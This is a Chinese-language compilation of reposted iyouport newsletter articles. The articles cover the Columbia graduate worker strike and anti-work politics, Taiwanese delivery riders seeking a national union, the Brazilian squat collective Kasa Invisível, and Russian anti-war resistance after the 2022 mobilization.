在某些方面，研究生是劳动力新形态的象征。研究生工人组织占据了研究生们所谓的介于学校和工作场所之间的临界空间：研究生是工人，但他们还没有真正加入劳动力队伍。他们也不是唯一的临时工人。每一批研究生，如流水一般，在拿到文凭之前构成整个研究生产业。大学为他们支付的低工资辩护，是考虑到他们所谓的 “未来美好的就业前景”。而事实上，在竞争日益激烈的市场中，只有少数毕业生才能实现这种预期，且市场本身正在被紧缩措施快速重塑。就此而言，高等教育的金字塔传销不过是资本主义本身金字塔传销的一个缩影。

同时，只为特定学生工人群体的安全考虑，而不关心其他工人群体或学生本身就是注定要失败的冒险。在任何严格的物质意义上，研究生对产业经济而言并非必不可少。他们可能施加的任何影响力，都将来自于他们与受严重紧缩和零工化影响的其他人一起对经济施加的压力。在全球经济结构造成几乎任何行业的工人都可以被替代的时代，建立一个超越人口和背景差异的团结有着战略和道德的必要性。

「对示威的工人纠察队来说最有趣的口号之一就是反复出现的那句："我们有牙齿！" 这暗示了我们对牙科保险的需求，这很幽默、普遍、也很私人性。而且，它还隐喻着一种讽刺的暗流。其实，"有牙齿" 意味着它背后的力量。说我们有牙齿就是传达 —— 我们正在制造威胁，我们可以坚持下去，我们不是在胡闹。

处理焦虑的方法之一是通过笑声。幽默也交织着焦虑，"我们有牙齿"，不过，我们是否在挣扎呢？我们的罢工是否有力量迫使大学满足我们的要求？即使我们赢了，我们作为学生、工人、未来学者等的集体力量是否有足够的 "牙齿" 来影响新自由主义力量对大学资源的攫取和在多个领域的紧缩？

我自己，在我的成年生活中从未有过牙科保险。曾经每月在面向穷人的牙科诊所排队等候几个小时，最后却被告知 "您的电话号码不在预约单上"。但是，我有预约，不止一次发生过这样的情形。所以，"拿到博士学位后就能看牙医了" 的想法听起来实在很吸引人。但这是更有保障的牙科生活的前奏吗？或者只是感叹其实毕业后也很难安稳地坐到牙科椅子上的最后喘息？」

答案，取决于我们在哪里能看到我们的力量，以及我们是否制定了相应的战略。我们能否将（不稳定的、可替代的）劳动力本身视为我们力量的源泉，转而致力于形成集体能力，以扰乱大学内外资本的日常运作？从大学的沟通和第二天的谈判中宣布的让步看来（这也是哥伦比亚大学有史以来最大的经济让步），一天内大学秩序的中断，对学生、工人和送货员造成的物理干扰似乎比五周连续罢工所产生的影响更大。

我们可以从中学到很多东西。在这个美丽新世界，我们的劳动可能不是我们力量的源泉。但是，我们在为自己挺身而出之刻建立起的关系 —— 超越职位、工作场所和身份的界限—— 却可能成为打击力量的基础，这种力量聚焦于人员和经济流动的瓶颈，暴露着基础设施的脆弱要害。我们的对手更关心如何阻止我们建立集体力量，而不是任何所谓的经济让步。他们知道，为了长期维护他们的统治，短期投资是值得的。他们以前就这样做过了，只要买断整代人就足以重新获得控

制权。

随着气候的崩溃、大规模监控的泛滥、经济差距的加剧以及法西斯主义抬头，时间并不在我们这边。我们不能只是关闭自己的工作场所，我们必须关闭整个经济。这就是牙齿的用途 —— 我们的牙齿，更不用说我们的生命，端赖于此。

2022年初，哥伦比亚研究生与哥伦比亚大学行政部门达成初步协议，投票结束了研究生工组织历史上最长的罢工之一。维持了九周纠察线之后，罢工者迫使当局接受了他们的主要诉求。更重要的，罢工者之所以能够取得这一有限的胜利，是因为他们接管并且打败了那些试图阻止对抗的工会官僚。他们的胜利表明，维护自身利益的工人必须首先争取工作场所组织自己的自决权和草根权力。

III. 振奋人心的结论：反对工作的意义

「图」

过去半个世纪以来工会力量的减弱不仅仅是意志失败的结果。工会组织的收益递减是有结构性原因的。当我们开始为自己挺身而出时，总是很想尝试复制我们熟悉的前几代的模式—— 尽管正是这些模式的失败让我们走到了今天。新形势需要新策略。

这种策略可以采取多种形式。例如，使用互联网，我们可以建立网络运动，延伸到工作场所之外，通过压力运动、抵制、破坏和其他任何人都可以参与（无论是否雇用）的策略来保护特定行业的工人。

然而，要让特定经济部门以外的人参与到这种斗争中，这些运动就必须同时满足失业者和灵活就业者的需求，而不仅仅是为了那些侥幸保有固定职位工人的地位。乔治·弗洛伊德 **(George Floyd)** 起义和工作场所之外的类似运动其力量为我们建立了一个出发点。透过**2011** 年占领（华尔街）运动的高光，我们可以想象，未来最强大的劳工运动将是发生在工作场所之外、所有人都可以参与的公共空间的反工作起义。在后续文章中，我们将探讨 **21** 世纪的总罢工会是什么样子，以及我们的运动如何能够促成这种罢工。Stickers anarchists made in solidarity with the **Kellogg's strike** in late 2021.

讨论这个话题，撰写这篇文章，并且努力发表是一种乐趣，因为这不是工作。 我们大家在过去三十年中共同完成的一切，很多，都源于我们决定尽可能地拒绝在市场上出卖我们的时间、精力和创造力。 我们将有可能在有生之年看到的大规模社会变革的主要决定性因素之一就

是，人们是否能投入时间、创造力和资源来改变世界，还是仅仅试图在个人基础上改善自己。

让我们找到彼此，看看我们能在资本主义经济逻辑之外一起做些什么。 这就是反对工作的出发点。

Further Reading

「图」

- The Interregnum—The George Floyd Uprising, the coronavirus pandemic, and the emerging social revolution
- The Mythology of Work—Eight Myths that Keep Your Eyes on the Clock and Your Nose to the Grindstone
- Report from the Shop Floor—How the Unions Lost Their Teeth
- "The Surrealists' War on Work," Abigail Susik
- A Tale of Two General Strikes: Updating the General Strike for the 21st Century
- "Well, I Quit"—Anti-Work Discourse Against the Neoliberal Utopia
- *Work—Capitalism, Economics, Resistance*
- Workers Against Work: Labor in Paris and Barcelona During the Popular Fronts, Michael Seidman

○

Anti-Work: From "I Quit" to "We Revolt"

Thanks for reading iyouport! Subscribe for free to receive new posts and support my work.

Suscribirse

原文

台湾的快递小哥想要一个全国工会，但这并不容易 - iyouport

反抗者-寻求经验

一群台湾快递小哥正试图发起一场劳工运动，以帮助规范食品配送平台

4月20日星期二，50名食品外卖司机聚集在台北劳动部门外，他们拖着带有品牌的外卖袋，展示着 Uber Eats、Foodpanda、Lalamove 和其他主要平台的名称和 logo。

几天前，Uber Eats 和 Foodpanda 改变了他们确定工人工资的方式，这两家公司共占该国平台型食品配送市场的三分之二。司机们说，此举使他们的工资减少了30%。这并不是这些公司第一次改变他们的条款，但这次感觉是一个分水岭。参加劳动部门前集会的 Uber Eats 和 Foodpanda 的资深送货司机Patrick Su 说，“在早期，那些愿意努力工作的人还能赚很多钱。”

但是，连续的削减削弱了司机的谋生能力，特别是在台湾的南部和中部地区，“这些地区的许多送货工人的工资显然低于最低时薪”，Su 说。

工资下降、两起涉及外卖司机的致命事故、以及政府对监管平台公司的不上心，促使一些工人呼吁成立全国性的外卖司机工会。然而，他们面临着一场艰难的战斗。台湾的劳动法意味着他们必须建立一个由其他工会和工人团体组成的广泛联盟，才能获得全国性的认可。如果他们能做到这一点，他们将必需说服台湾政府填补监管漏洞，这些漏洞使那些公司能够逃避监管和劳工规则。

“大多数送餐员不知道如何改善他们的劳动条件，但实际上是有解决办法的”，Su 说，“台湾政府拥有相当大的权力来决定劳动福利相关问题。”

根据劳动部的数据，2019年，大约有8万人在台湾担任外卖司机。Foodpanda 和 Uber Eats 这两家公司主导了市场，在全国十几个城市

运营。在台湾，大约有一半的互联网用户使用食品配送服务。这场大流行加速了这一趋势。到2020年底，司机的数量已跃升至88,000人。同时台湾可用的正规工作数量下降。2020年，台湾的失业率创下了四年来的最高水平。

监管工作迟迟没有跟上快递业的发展速度，两家最大的公司对其司机的生活和工作条件有过度的影响，它们继续将司机指定为合同工，而不是全职雇员。这常常使工人失去权利。

为 UberEats 做兼职的送货司机 Mickey Liu 说："我们与Uber Eats没有任何谈判机制"。Liu 认为集体行动，如罢工，不会产生任何影响，"因为总会有司机愿意继续工作"。Foodpanda 和 Uber Eats 主导了台湾的外卖市场。

台湾政府最初对零工工作平台很警惕，在Uber进入台湾市场时对其进行了打击，对该公司在没有适当许可的情况下经营运输公司进行了罚款。2017年，在累积了1000万美元的罚款后，Uber 暂停了在台湾的叫车服务。Uber Eats 也因在台湾非法运营而面临类似的罚款，但该公司设法避免了支付这些罚款。台湾早期的监管尝试很少关注工人的福利。

当2019年10月，两名分别为 Foodpanda 和 Uber Eats 工作的当班外卖司机在三天内相继在致命事故中丧生时，这种情况似乎有可能改变。他们的死亡成为全国性的头条新闻，并促使劳动部对送货平台与司机之间的关系进行调查。

台湾劳动部最终认为，司机确实是雇员，而不是承包商，Foodpanda 和 Uber Eats 应对他们的安全负责。政府要求这些平台为司机提供最高约65,000美元的意外保险。UberEats 和 Foodpanda 对台湾政府提起了行政诉讼，挑战这一裁决。目前，该案尚未作出裁决。去年，台湾新闻媒体报道，Foodpanda 甚至威胁要对声称自己是雇员而非承包商的司机进行罚款。

接受 Rest of World 采访的三位司机说，这些新的基本规定确实使工作条件得到了一些小的改善。然而，专家们表示，这些规定为平台留下了太多的漏洞，让他们有机可乘。

国立台北科技大学研究零工经济的法学副教授蒋亚奇(音)说："我认为劳工部在2019年有点回避了这个问题"。

例如，条例规定了一系列确定司机是承包商还是雇员的标准，比如公

司是否要求工人穿制服，或者平台的标志是否在送货箱上。“这些都没有触及根本问题”，蒋说，“因此，这些公司很容易再改变合同，说：‘好吧，现在我们不要求我们的司机携带公司标志，我们也不要求他们穿制服’。”

蒋说，任何未能考虑到算法暴政和数据经济—— 而不是人类—— 管理司机的方式的法律都是不完整的。“我认为这实际上是关于如何监管零工经济的基本问题”，她说，“我们如何评估数据的权力？”她说，只要监管者在寻找就业的表面指标，如制服或甚至合同，他们就会努力定义依赖性—— 司机是否真正从属于公司—— 而不了解数据和算法支配司机工作的方式。

组织者 Su 称，Uber Eats 试图通过在首都以外设立总部来逃避更严格的规定。台北市在2020年4月实施了关于为司机提供保险的新规定。根据当地法律的一项法规，在首都成立的公司必须在全国范围内适用其规则，这意味着 Uber Eats 本应在全国范围内遵守更严格的规定。公开记录显示，UberEats（之前在台湾没有正式的总部）后来申请将其总部设在台北郊区的新北市。

Foodpanda 和 Uber Eats 都没有回应 Rest of World 的评论请求。

在台湾，建立一个全国性的工会是复杂的。在1987年才结束的近四十年戒严时期，全国只有一个工会。第二个工会，即台湾工会联合会，仅在2000年才得到承认。教师在2010年才赢得加入工会的权利。

在全台湾的城市和县城，已经有多个地方有送货司机工会，但他们的力量是很有限的。为了建立一个全国性的工会，Su 和他的同事需要证明在台湾22个城市中的一半以上都有地方工业工会。然后，这些工会中有一半以上需要加入全国工会。或者，他们可以建立一个工会联合会，这意味着要达到一个类似的高门槛—— 招募全国工业和职业工会总数的一半，并在一半以上的城市组建工会。

Su 知道这将是一个具有挑战性的过程，但他认为必需有一个全国性的工会才能让司机在制定法规时获得一席之地。他和他的同事们希望获得欧盟零工经济工人所获得的那种保护，并建立一个新的官方劳动类别，该类别将介于全职雇员和自由职业者之间。

“有了这种保护，送货工人可以享受一些基本的保障，也可以有更灵活的工作时间”，他说，“我们仍然希望这部法律能够获得通过”。〇

Taiwanese gig workers want a national union. It won’t be easy

原文

团结，直接行动和自决：KasaInvisível运动 - iyouport

反抗者-寻求经验

任何人能够提供的最好的声援就是在任何地方建立自己的社会中心、项目、运动和革命。

【按】这是一个非常出色的行动主义项目。在此介绍它，希望为中国的行动者提供灵感 —— 关于，如果您所在的城市里有很多空置房屋，而与此同时您的行动主义团队想要聚会一下，都找不到安全私密的地方，更不用说对成员进行敏感的行动培训了。

很多人买不起房子、租不起房子，却有那么多闲置的鬼楼树立在那里，行动者为此能做些什么？

直接行动就是不诉求，亲手建造我们想要得到世界。在这里，就是一个每个人都能有家的世界，一个随时可以和自己的亲密团队毫无顾忌的聚会交流的场所。KasaInvisível 运动精彩的实践值得全世界遭受不平等的社会模仿复制。

不需要简单地支持，不需要随着高喊口号，您能做的最好的事，就是在您的土地上开展同一个目标的行动。

萨帕塔主义者曾经说过，任何人能够提供的最好的声援就是在任何地方建立自己的社会中心、项目、运动和革命。在巴西东南部米纳斯吉拉斯州的首府贝洛哈里桑塔，一个名为 Kasa Invisível（葡萄牙语，意为“看不见的房子”）的集体听取了这一建议，并希望激励您也这样做。Kasa Invisível 的旗舰行动

这个自治的反资本主义行动组织现在占据了三间曾经废弃的房子，作为需要帮助的人的家，是社区的社会和文化中心，也是反专制抵抗和互助行动的聚会和组织空间。

虽然仅在米纳斯吉拉斯州就有数百个建筑和土地占用，但卡萨是该地区仅有的几个明确为支持反国家和反资本主义斗争而存在的寮屋之

一。

在COVID-19大流行期间，活动家们重新集中精力满足邻居的需求，同时，这个集体与周围的社区保持着一贯的互助关系，既支持那些在那里生活和工作的人们，也接受人们的支持。

虽然活动家们的目标是在未来很长一段时间内成为整个巴西类似项目的参考点和启发，但最近的情况使他们的占领行动的未来面临危机，促使他们呼吁国际社会的声援，以保持这个重要的抵抗中心的活动能力。

自2013年以来，这个集体占据了城市中心的三栋房子，其中两栋作为生活空间，第三栋则向社区开放，作为会议、研讨会、电影放映、学习小组、辩论会、筹款活动、以及其他社会和文化活动的免费空间。寮房内有免费的图书馆、电影院和城市花园，并为那些没有自己的总部的反抗运动、行动主义团体和工会提供了举行内部会议或公开活动的空间。“反对首都：占领一切！”在COVID-19大流行之前，在KasaInvisível 举行的2019年狂欢节聚会中的一场音乐表演。

该项目始于少数无政府主义政治组织者组成的一个亲密团队。他们中的大多数人都是在参与其他社会中心，如 Loja Grátis（自由商店）和 Ocupação Guarani Kaiowá，以及 Passe Livre Movement（倡导免费城市交通）等团体时认识的。

- 不要错过《您需要真正的自己人—如何组成一个亲密团队：示威参与者指南（9）》

Z 从该团体第一次占领该物业后就一直住在这个寮房里，他说，创建一个社会中心，作为一个家、一个文化中心、和一个反资本主义政治组织结构的想法，一直是他们共同的野心。“从一开始，占领的目的就是成为一个支持你的社区的空间”，他说。“住房很重要，但当被占领的空间成为社会中心时，就更有生命力了，它可以反哺社区，并被社区反哺。”

在研究了城市中的空房子后，他们在贝洛哈里桑塔市中心发现了一座被废弃了20多年的房子。这座建于1938年的两层装饰艺术风格的房子，之前曾是一家餐馆—— 而在此之前，是一个富裕家庭的住所。

这群反抗者开始着手使这个地方适合居住：清洁、清除残骸、重建地板、粉刷墙壁、安装新的水电系统。他们举办了筹款活动来支付这些维修费用，所有这些工作都是他们自己在每周的工作聚会上完成的。

经过三年的努力，终于可以让这栋房子可以安全地迎接客人了，他们终于在2016年11月27日向社区开放，举办了一个名为 “Okupa Skina Fair” 的街头节日。

巴西目前有600多万处被遗弃的房产，与此同时据估计，巴西的住房缺口为700万套，20%的人口生活在不适当的住房中。**Kasa Invisível** 希望唤起人们对这一比例失调的关注，这在该反抗组织的名字中得到了体现。

“这与废弃的房产是隐形的空间，以及没有地方住的人有很大关系”，Z解释说，“其他人在街上经过这两者时，就好像它们是没有生命的物体那样，几乎难以被注意到。而只有当我们决定采取直接行动，表明没有理由在有人无家可归的同时还有那么多空房子的时候，这两者才会变得可见。”

这里利用的战术技巧是《让隐形可见》，准确说是这一原理在直接行动上的实践 —— 不倡导、不诉求。

- 不要错过《直接行动分步指南：它是什么、它有什么用、如何获得成功》

巴西的城市棚户区运动是在二十世纪末出现的，是对这个社会根深蒂固的无家可归危机的回应。

然而，这个问题可以追溯到殖民时代，当时获得土地的机会仅限于从葡萄牙王室获得土地赠款的富裕公民。1822年巴西从葡萄牙获得独立后，政府的新土地政策严重限制了贫穷公民获得土地的机会，特别是移民和被释放的非洲裔奴隶。

今天，巴西几乎一半的土地为1%的富人所拥有，这个群体包括葡萄牙贵族的后裔家庭。诸如拥有约150万成员的 “农村无地工人运动” 等倡议，自上世纪80年代以来，通过成功占领闲置土地，奋起改革这种不平等的分配方式。这些努力激发了该国城市地区的基层无家可归者团体，从巴西最大的城市圣保罗开始，他们开始有计划地占领空置的建筑物。今天，全国至少有14个大城市存在这样的无家可归者组织。

较近的历史上，巴西经济进入了有史以来第二次最严重的衰退，由于宏观经济政策的失败，从2014年年中开始，腐败丑闻和右翼议会的操纵加剧了经济衰退，为社会民主党劳工党成员前总统迪尔玛·罗塞夫被弹劾和解职铺平了道路。

此后，随之而来的经济危机使该国的贫富差距不断扩大，并在2019年达到顶峰，也助长了巴西选民对政府、特别是劳工党的愤怒和不信任的普遍膨胀。

2018年，反动的民粹主义候选人贾伊尔·博索纳罗在竞选中以政治局外人自居，并以种族主义、厌女症和同性恋的评论和言论吸引极右翼，支持1964年至1985年统治巴西的军事独裁政权，最终当选总统。

博尔索纳罗被巴西媒体称为“热带地区的特朗普”，他承诺要“清洗”这个国家的左翼分子。

由于团结在这种经济和政治环境下非常重要，卡萨和其他城市占领区，如巴西巴伊亚的 **Casa da Resistência**，充当了一个非正式的网络，相互支持。

“我们镇上有好几个寮房，大多是有很多层的楼房，有几十个—— 或者几百个家庭”，Z说，“我们尽量保持联系，建立相互支持，特别是像我们这样的小寮房，人们的联系少，需求多。”

在目前的情况下，要想不被 COVID-19 感染，就必须拉开社会距离，卡萨作为经济状况不稳定的人们的家，成为其最关键的功能。寮房目前住着6个家庭，从幼童到中年男女不等。

这个集体还包括不住在房子里的人；在疫情之前，一些人能够在那里经营自我管理的合作企业，使他们能够更加自给自足。

“我们的初衷之一一直是为那些没有自己的住所的人们创造一个安全的空间”，L说，她在2016年加入 Kasa Invisível，因为她在与 Passe Livre 运动合作时遇到了几个成员。

“通常情况下，这些无家可归的人们在公共空间，或者在城市管理的空间里聚会，这两个选择在安全和官僚主义上都有其缺陷”。在大流行之前，其他集体经常利用卡萨的空间举行闭门会议和公开活动，L说，很多活动他们无法在其他需要付费或没有必要安全结构的地方举行。

“我们肯定满足的另一个需求是，为具有自由主义和无政府主义理想的人提供一个聚会场所”，她说。“往往那些在某些思想或研究方面感到被孤立的异议人士在卡萨找到了其他有相同想法的人，并作为一个社区得到了加强。”

除了作为会议和活动空间为社区服务外，卡萨还容纳了一个社区厨房、一个丝网印刷车间和一个素食合作社。在占领初期，该集体在房子里和人行道上经营着一个免费商店，收集衣服、工具、书籍和其他材料，免费分享。“这让我们认识并支持了很多人，尤其是我们附近的无家可归者，他们是主要使用者”，Z说。

在已经与邻居建立了稳固的关系之后，Kasa Invisível 的人们已经做好了独特的准备，以应对当前全球危机期间社区中最脆弱的人的需求。

“甚至在疫情发生之前，我们就经常走过了占领点周围的街道，我们已经和街上的人混熟了”，L说，“我们能够保持对话，使我们能够根据人们的实际需要组织行动。”

目前巴西确诊的COVID-19病例数已超过300万，死亡人数超过10万。截至年初，巴西的COVID-19确诊病例数字位居世界第三。尽管如此，博索纳罗不断反对关闭企业、限制公共交通等隔离措施，声称这些措施会损害国民经济；他淡化病毒带来的危险，将卫生专家和媒体的警告视为 “歇斯底里” 和幻想。

6月，巴西卫生部封锁了一个显示全国COVID-19感染数据和相关死亡总人数的网站，并开始只公布前24小时的数字。三天后，最高法院下令卫生部恢复报告累计数字，因为有人指责该部们操纵数据和审查制度。即使博索纳罗在7月宣布他的病毒检测呈阳性，他也继续捍卫自己反对隔离措施的立场。

尽管联邦政府试图混淆冠状病毒的影响，但L说，大量的死亡人数已经在巴西人民中造成了不可避免的悲痛感。“而他们甚至无法以健康的方式处理这件事，因为他们要担心钱、房租、吃什么，以及如何能够保护自己不受病毒侵害，他们知道自己没钱生活就无法停止工作，无法停止乘坐拥挤的公交车。这对老百姓的心理健康的影响是不可估量的。”

虽然适应疫情意味着 Kasa Invisível 不能再在占领区举办会议，并在可预见的未来暂停所有活动，但在其他方面，这种情况使他们作为社区支持中心的功能比以往任何时候都更有意义。

“在贝洛哈里桑塔，我们看到住在街头的无家可归者人口增加了”，L说，“这对任何一个走出家门的人来说都是清晰可见的”。 3月，他们受到智利和美国等国家的其他集体组织的抗议运动的启发，开始了一场支持该地区无家可归者的运动，因为他们看到自己是受危机影响最

大的人群之一。

他们开始收集捐款和物资，包括食物、衣服、口罩和卫生用品，以制作工具包，每周向无家可归的人们和附近的其他穷人发放。“反对首都、反对当局：团结、直接行动和自决”—— KasaInvisível 在附近分发的援助工具包

KasaInvisível的活动家在分发援助工具包

“所有这一切都契合在一起，只是加深了我们从一开始就带来的建议，那就是把房子作为社区的工具”，Z说，他认为这些直接的行动不仅让更多的人意识到这个集体在社区的存在，而且意识到他们为什么在那里。

“许多人已经知道 Kasa Invisível，但并不是所有的人都注意到我们运作的所有方面。有些人认为这只是一个搞文化或音乐的地方，你可以免费去。很高兴看到新人们的反应，他们因为这次活动第一次知道了这个空间，还有一些人意识到卡萨不仅仅是一个聚会的地方，也是我们自己的领土上的一个行动工具。”

在这场危机中，集体本身也得益于与周围社区的团结。“除了其他运动之外，与参加和支持卡萨的人的关系也是最基本的”，Z说，“尤其是因为这里的所有居民都无法工作，相互支持对于我们大家都能有饭吃是必不可少的”。 最近，这种团结变得特别重要，因为他们要应对占领这三栋房子的具体挑战。

自2020年3月18日法官授权 “收回” 这些房屋、并且法院拒绝了该行动主义集体要求暂停执行该决定的请求后，Kasa Invisível 一直受到驱逐的威胁。

Z说：“如果没有律师和 UFMG[州立大学] 法学家集体的支持，声援这个空间，我们的处境会很复杂”。

他们组织的网上请愿目前已经收集到5000个签名的目标的一半以上，呼吁贝洛哈里桑塔市政厅暂停收回卡萨，并在目前的健康危机期间，禁止整个城市驱逐那些处于类似不稳定住房状况中的人们。

7月，该集体发出声援号召，要求提供财力和物力支持，以保证房屋的安全和住户的居住，并在未来为社区开放自由空间的大门。该地区密集的雨季导致整个巴西东南部地区发生洪涝灾害；正如Z所指出的，坚守意味着要负责管理和修缮自己的生活空间。

为了准备下一个雨季的到来，他们需要修复卡萨的屋顶和水槽，除了房子在20年的废弃过程中遭受的恶化外，上一场雨还对其造成了严重的破坏；他们还必须改善电力和管道，修复地板和墙壁，并扩大门和走廊的无障碍设施。到目前为止，他们已经筹集到了材料、人工和运输费用所需的全部金额（6000美元）的30%。

Z认为，与周围社区建立全面的关系，而不局限于特定的团体或场景，是产生影响和获得支持以维持该倡议的根本。对于想要启动类似项目的人，他强调了*展示*无政府主义原则是多么重要，而不是简单地谈论这些原则。“传播信息和理论是非常重要的，但是，提出行动并付诸实践对我们来说更加重要，这样才能得到重视。”

因为他们知道，这种工作只有当其他人和团体在任何地方复制这些行动时，才能真正改变世界。所以，集体成员继续希望他们的运动能够在世界其他国家地区激发类似的努力，就像他们从世界其他地方的运动中受到启发那样。

“我们的一个大梦想是，像 Kasa Invisível 这样的空间可以在巴西到处繁殖，特别是在那些缺乏这样空间的地方”，L说，“希望它能成为灵感和证明，关于公民行动者有可能占据一个或许多废弃的房子，而不需要公司或国家机器的帮助，从横向管理上就可以维护它。”

当被问及是否认为 Kasa Invisível 的工作具有政治性时，Z说：“如果说政治性是一种广义的行动和社会转型的关系，是的，当然，我们的工作具有政治性。互助的直接行动或其他形式的组织与社会转型的激进愿景之间的关系并不总是显而易见的，因为即使是资产阶级慈善机构也可以做一些看起来与我们非常相似的行动。但正是在组织中，在长期的设想和日常的实践中，我们将亲手设计并使紧急或自发的行动与革命实践和设想的关系变得明显。”

了解更多关于 KasaInvisível，并支持他们：

- 他们的PayPal: kasainvisivel@gmail.com
- 您可以访问这里看到更多：abre.ai/kasainvisivel
- 美国的活动家们已经制作了衬衫和海报，以支持 Kasa Invisível
- 您还可以在这里签署反对驱逐请愿书
- 您可以在此处详细了解有关 KasaInvisível 的支持活动
- 在此处阅读有关 KasaInvisível 及其社交媒体的更多信息。
- 巴西和西班牙的行动主义：住房权和城市权之间的明确规定 —— 贝洛哈里桑塔和西班牙的占用权条款（在第6章）。

○□

Solidarity, Direct Action, and Self-Determination: Kasa Invisível

原文

在极端镇压的条件下，加入抵抗运动 - iyouport

反抗者-寻求经验

随着争夺资源的冲突加剧，以及生态危机的加剧，我们可能会看到更多像乌克兰这样的战争。今天在俄罗斯与专制主义和军国主义作斗争的人，是在与全世界的专制主义和军国主义作斗争，我们应该向他们学习并支持他们。

以下文字发布于9月13日 ——

乌克兰人发动了自第二次世界大战以来最快的攻势。

从我们的“乌克兰战争”系列一开始，不断强调的一句话就是：最终真正能解决这一问题的人只能是俄罗斯的反抗者。虽然他们一直面对着巨大的困境，但他们中很多人从未放弃。

今天，在入侵战争和宣布动员的战线上的局部失败后，俄罗斯正面临着社会危机。

这里有两个引人注目的例子，在当今时代，人们正在积极地、彻底地抵抗统治者的压迫。除了俄罗斯之外目前正在进行的还有我们此前分析过的伊朗和缅甸。

伊朗的抗议活动已经持续了两个多星期。成千上万的抗议者勇敢地与武装的镇压者肉搏。手头的一切手段都用上了。当局动用了他们的经典武器，从封锁网络到开枪。他们甚至对来自伊朗库尔德的游击队所居住的伊拉克邻国领土进行了空袭。然而，即便这样，暴政当局也未能阻止抵抗的浪潮。

在缅甸，2021年2月的军事政变后，反对军事独裁统治的人们发起了一场游击战。军队以自己的方式作出了回应。特别是，据报道，在国内冲突期间，军政府烧毁了 **28,000** 间平民房屋。然而，成千上万的年轻人（和不那么年轻的人们）继续在该国的山区和林区进行游击。

许多地区仍然处于军政府的控制之外 —— 根据解放缅甸组织的统计，截至9月，该国已有127个城镇从暴政的控制下解放出来了。

是的，很明显，各国的社会彼此之间非常不同。比如在俄罗斯和中国，社会是非常零散的，即使是邻居和亲戚，也可能很难团结起来维护自己的利益。然而，在这类情况下也有优势，比如俄罗斯，目前普京政府没有像在伊朗和缅甸那样积极地使用军事力量或死刑，因此目前对俄罗斯人来说，压倒性的因素较少。

希望至少在一定程度上 “模仿效应” 能够发挥作用。俄罗斯社会的积极部分和今天被当局强迫走上抵抗道路的成千上万的人们、今天中国社会的积极部分和明天的战斗力们，现在就可以从遥远的土地上的反叛者那里学到一些榜样和精神，以及，更重要的，战术智慧。图：2022年9月，缅甸锡金的武装革命示威。

9月21日，在乌克兰9月初的反攻之后，弗拉基米尔·普京宣布对俄罗斯民众进行 “部分动员”，以支持俄罗斯军队自去年2月以来在乌克兰开展的所谓 “特别行动”。

在与俄罗斯无政府主义者合作撰写的以下分析中，包括来自俄罗斯无政府主义项目 avtonom.org 的翻译材料，研究了来自俄罗斯反战运动的反应和整个俄罗斯社会的潜在动荡。

如果您正在寻找支持在俄罗斯组织的无政府主义者的方法，可以考虑向 avtonom.org 捐款，它可以说是俄罗斯无政府主义的主要媒体平台。

📌 如果您错过了：

- 《一个 “赚大钱的完美机遇” (1)》
- 《多元化主流 (2)》
- 《当你处在双面夹击的火力之下 (3)》
- 《”反对所有边界，抵制所有帝国，对抗所有战争”—东西方冲突中的乌克兰 (4)》
- 《“人民的自由，帝国去死”—俄罗斯无政府主义者对局势的分析 (5)》
- 《俄罗斯的选择，和这一切灾难的根源：乌克兰系列 (6)》
- 《这一次，不成功便成仁：乌克兰战争 (7)》
- 《制裁的”作用”是什么？：乌克兰战争(8)等—从“伦敦格勒”到北京》
- 《从北京到世界：乌克兰战争(9)—一个危机重重的新全球格

局》
- 《乌克兰：超越后苏联时代》

2022年3月底时，正如这里所写道的，俄罗斯反战运动的第一阶段已经达到了极限，主要是被野蛮的力量所压制了。当时的预计是，在经济制裁和伤亡报告开始对普通俄罗斯人产生影响之前，下一阶段不会开始。

但是，与预期相反的是，俄罗斯经济并没有崩溃 —— 部分原因是西方资本家对俄罗斯石油的忠诚，而且普京成功地将莫斯科和圣彼得堡的反击降至了最低，因为他从小城镇吸引了大量的新兵。

另一个可能对俄罗斯社会造成压力的发展是动员那些被征召服兵役的人 —— 因为在俄罗斯，所有18岁以上的男子都要被征召。在承受了远达五位数的伤亡后，普京最终选择了这种方式。我们已经听到有很多人被强行征召加入俄罗斯军队的故事。这是否意味着战争将无限期地持续下去—— 或者它可能开启俄罗斯政治不稳定的新时代？

在我们看来，俄罗斯社会的反战运动仍然是整个前苏联地区和平的唯一希望。正如3月份时论证的那样：

> 唯一可以避免这场战争的方式—— 而且很可能是现在唯一可以在双方没有巨大生命损失的情况下停止战争的方式—— 就是从俄罗斯国内开始爆发一场强大的国际主义反战运动，破坏普京政府的稳定，希望随后在乌克兰和世界其他地方也能出现类似大规模反抗。如果战争无限期地拖下去，或者以民族主义军国主义的蛮力结束，这将使冲突各方的人在未来几十年里陷入民族主义和军国主义阵营。

问题是，在过去的十五年里，普京政权系统性地粉碎了俄罗斯以及周边其他国家的所有反抗运动。无数可能成为俄罗斯反战运动骨干的俄罗斯人早已经在监狱里或被流亡。正如伊尔库茨克的无政府主义者在普京宣布“部分动员”的第二天在电报上观察到的那样：

> 夏天是一个萧条的时期。没有人抗议，如果他们抗议，那也是以个人的形式抗议，更像是日常活动。

在极端镇压的条件下，你如何创造一个革命运动？这或多或少是过去十年来伊朗人民一直在挣扎的问题，尽管波动性更大。

在宣布“部分动员”后，引发了新一轮的移民潮。边境上出现了长长的队伍，甚至在与蒙古的边境上。具有讽刺意味的是，如果俄罗斯成功地确保其边境不受叛逃者的影响，以使征兵工作有效，这也可能关闭使俄罗斯专制制度持续到现在的压力阀。https://t.me/iyouport/11554

在普京宣布“部分动员”后，抗议者立即在全国各地走上街头。与2月和3月一样，女权主义者帮助组织了许多示威活动。9月21日和上周末的抗议活动并不像第一波抗议高潮时的示威活动那样大规模。但考虑到处罚力度已经加大，现在任何人只要拿着一张标语就可以在监狱里呆上几年，这些抗议者的出现令人印象深刻。(作为弗拉基米尔·马雅可夫斯基诗歌的爱好者，我们想向那些因试图在 Triumfalnaya 广场的马雅可夫斯基纪念碑前朗读反战诗歌而被拘留的抗议者表示热烈的问候）。**3 月 18 日，Arina Vakhrushkina** 站在莫斯科驯马场广场**(Manege Square)**广场上。她手上的纸上写着：“对于这张海报，我将收到 **50,000** 卢布的罚款。我站在这里是为了你的未来和乌克兰的未来。人，不要无动于衷！目前，乌克兰的儿童正在死亡，俄罗斯的母亲正在失去他们的儿子。不应该是这样的！”她随后立即被捕了。

警察一如既往地以残酷的武力回应所有这些示威活动。此外，军事动员本身也被惩罚性地使用：许多被捕者在被带往的警察局里被送达征兵传票。

当然，这种做法会让人产生不安的印象，即 动员是普京政府的党派活动，针对的是人口的某些部分，而不是推进爱国主义的目标—— 这也可能导致前线的部队不太可靠。

